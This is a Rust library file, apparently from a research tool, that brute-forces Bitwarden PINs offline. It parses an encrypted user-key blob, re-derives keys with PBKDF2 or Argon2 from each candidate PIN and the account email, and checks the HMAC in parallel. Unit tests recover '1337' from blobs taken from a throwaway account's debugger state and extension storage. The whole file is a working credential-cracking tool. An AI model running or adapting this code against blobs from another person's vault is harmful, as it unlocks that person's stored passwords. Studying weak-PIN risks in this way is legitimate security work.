bitwarden_pin/
lib.rs

1use argon2::Argon2;
2use base64::prelude::*;
3use hkdf::Hkdf;
4use hmac::{Hmac, Mac};
5use indicatif::ParallelProgressIterator;
6use indicatif::ProgressStyle;
7use pbkdf2::{password_hash::PasswordHasher, Pbkdf2};
8use rayon::prelude::*;
9use sha2::{Digest, Sha256};
10
11pub mod cli;
12pub mod log;
13pub use cli::KDFConfig;
14
15pub fn password_hash(kdf_config: KDFConfig, password: &[u8], salt: &[u8]) -> [u8; 32] {
16    match kdf_config {
17        KDFConfig::Pbkdf2 { iterations } => {
18            let salt = pbkdf2::password_hash::SaltString::b64_encode(salt).unwrap();
19
20            Pbkdf2
21                .hash_password_customized(
22                    password,
23                    None,
24                    None,
25                    pbkdf2::Params {
26                        rounds: iterations,
27                        output_length: 32,
28                    },
29                    &salt,
30                )
31                .unwrap()
32                .hash
33                .unwrap()
34                .as_bytes()
35                .try_into()
36                .unwrap()
37        }
38        KDFConfig::Argon2 {
39            memory,
40            iterations,
41            parallelism,
42        } => {
43            let mut hasher = Sha256::new();
44            hasher.update(salt);
45            let salt = hasher.finalize();
46
47            let mut password_hash = [0; 32];
48            Argon2::new(
49                argon2::Algorithm::default(),
50                argon2::Version::default(),
51                argon2::Params::new(memory * 1024, iterations, parallelism, Some(32)).unwrap(),
52            )
53            .hash_password_into(password, &salt, &mut password_hash)
54            .unwrap();
55            password_hash
56        }
57    }
58}
59
60pub fn parse_encrypted(encrypted: &str) -> (Vec<u8>, Vec<u8>) {
61    let mut split = encrypted.split('.');
62    split.next();
63    let data = split.next().unwrap();
64
65    let mut split = data.split('|');
66    let iv = BASE64_STANDARD.decode(split.next().unwrap()).unwrap();
67    let ciphertext = BASE64_STANDARD.decode(split.next().unwrap()).unwrap();
68    let mac = BASE64_STANDARD.decode(split.next().unwrap()).unwrap();
69
70    let mut data = Vec::with_capacity(iv.len() + ciphertext.len());
71    data.extend(iv);
72    data.extend(ciphertext);
73
74    (data, mac)
75}
76
77pub fn stretch_key(password_hash: &[u8]) -> [u8; 32] {
78    let hkdf = Hkdf::<Sha256>::from_prk(password_hash).unwrap();
79    let mut mac_key = [0; 32];
80    hkdf.expand(b"mac", &mut mac_key).unwrap();
81    mac_key
82}
83
84pub fn mac_verify(mac_key: &[u8], data: &[u8], mac: &[u8]) -> bool {
85    let mut mac_verify = Hmac::<Sha256>::new_from_slice(mac_key).unwrap();
86    mac_verify.update(data);
87    mac_verify.verify_slice(mac).is_ok()
88}
89
90pub fn brute_force_pin(
91    encrypted: &str,
92    email: &str,
93    kdf_config: KDFConfig,
94    pins: impl Iterator<Item = String> + Send,
95    progress_max: Option<usize>,
96) -> Option<String> {
97    let (data, mac) = parse_encrypted(encrypted);
98
99    let find = |pin: &String| {
100        let password_hash = password_hash(kdf_config, pin.as_bytes(), email.as_bytes());
101        let mac_key = stretch_key(&password_hash);
102
103        mac_verify(&mac_key, &data, &mac)
104    };
105
106    if let Some(max) = progress_max {
107        pins.par_bridge()
108            .progress_count(max as u64)
109            .with_message("Cracking...")
110            .with_style(
111                ProgressStyle::default_bar()
112                    .template("[{bar:.cyan/blue}] {pos:>7}/{len:7} - {msg} ({elapsed} + ETA {eta}, {per_sec})")
113                    .unwrap(),
114            )
115            .find_any(find)
116    } else {
117        pins.par_bridge().find_any(find)
118    }
119}
120
121#[cfg(test)]
122mod tests {
123    use super::*;
124    // Test data was generated using a real Bitwarden account from https://temp-mail.org/en/
125
126    const EMAIL: &str = "tenire3448@fashlend.com";
127
128    #[test]
129    fn memory_pbkdf2_600000() {
130        // `settings.pinKeyEncryptedUserKeyEphemeral` taken from debugger
131        let encrypted = "2.P6TpPPpMf5zkHUfTplnocw==|KZ7/pR8ft+LwcjfXs2ym9hmxE7DLIeA9Kl+IPwTVCwLmbpkFtYKPWvK53DEDDrVUeYvz/rPcl3MEH3wXl200HCsV5ZbGLGVU4bha5Aw20fk=|+Y46Za3Oo63XRbvqLFz5cVuvbqMvBqopD16+8HV83mk=";
132        let kdf_config = KDFConfig::Pbkdf2 { iterations: 600000 };
133
134        // small range to speed up tests
135        let pins = (1330..1340).map(|pin| format!("{pin:04}"));
136
137        assert_eq!(
138            brute_force_pin(encrypted, EMAIL, kdf_config, pins, None),
139            Some("1337".to_string())
140        );
141    }
142
143    #[test]
144    fn disk_pbkdf2_600000() {
145        // `settings.pinKeyEncryptedUserKey` taken from extension indexdb
146        let encrypted = "2.AVcSzI6mgEA9a2oKtV9WOw==|mSLNpc7qoZFnwnoGnL08N1eDiauYM5VRnr0QSZ134cjR6xgVYD7JjAkmsXDmVNP6lL1lB2fOq7uFTynIqNdA41ZUCj6KoceIz4edGrLi8TY=|UgXNesoPaz0gup17dfw6pqQsab8rtAHb6MvFDrrjSAY=";
147        let kdf_config = KDFConfig::Pbkdf2 { iterations: 600000 };
148
149        let pins = (1330..1340).map(|pin| format!("{pin:04}"));
150
151        assert_eq!(
152            brute_force_pin(encrypted, EMAIL, kdf_config, pins, None),
153            Some("1337".to_string())
154        );
155    }
156
157    #[test]
158    fn memory_argon2_64_3_4() {
159        // Changed KDF algorithm to `Argon2id` at https://vault.bitwarden.com/#/settings/security/security-keys
160        let encrypted = "2.GcLsRNPIwGWG+Q7X+KspXw==|tgn2oSFE6uXzlJzJ6rFBfqmlMjVaFVTe/weQRwBXF+BLlh8g5aE7VTw4yd5H3+j4f+YMGMiVTsHmphHdwrbKifmjkxcf35KPYJ93O6Zp4T0=|Im0X4t25NP+lf3oFo1Dp2ag1pc3eQwrRuEu9a5ecvVM=";
161        let kdf_config = KDFConfig::Argon2 {
162            memory: 64,
163            iterations: 3,
164            parallelism: 4,
165        };
166
167        let pins = (1330..1340).map(|pin| format!("{pin:04}"));
168
169        assert_eq!(
170            brute_force_pin(encrypted, EMAIL, kdf_config, pins, None),
171            Some("1337".to_string())
172        );
173    }
174
175    #[test]
176    fn disk_argon2_64_3_4() {
177        let encrypted = "2.FA4aPsq/5jKajc8tGqYKaQ==|CO/t9f1EQ4O5LL6O1anBAd1/4Hb+l4I32UMlW+3O7CoxTRXlEuLK5xvDCFmeRCYmylt206B22roFXycaRG3Z9fnN1aVVbBJ59qfCDEGusHw=|vmWmAb9kfqPPljRNhDMe+fDlwwat8XN5BZSsMAH8p8w=";
178        let kdf_config = KDFConfig::Argon2 {
179            memory: 64,
180            iterations: 3,
181            parallelism: 4,
182        };
183
184        let pins = (1330..1340).map(|pin| format!("{pin:04}"));
185
186        assert_eq!(
187            brute_force_pin(encrypted, EMAIL, kdf_config, pins, None),
188            Some("1337".to_string())
189        );
190    }
191}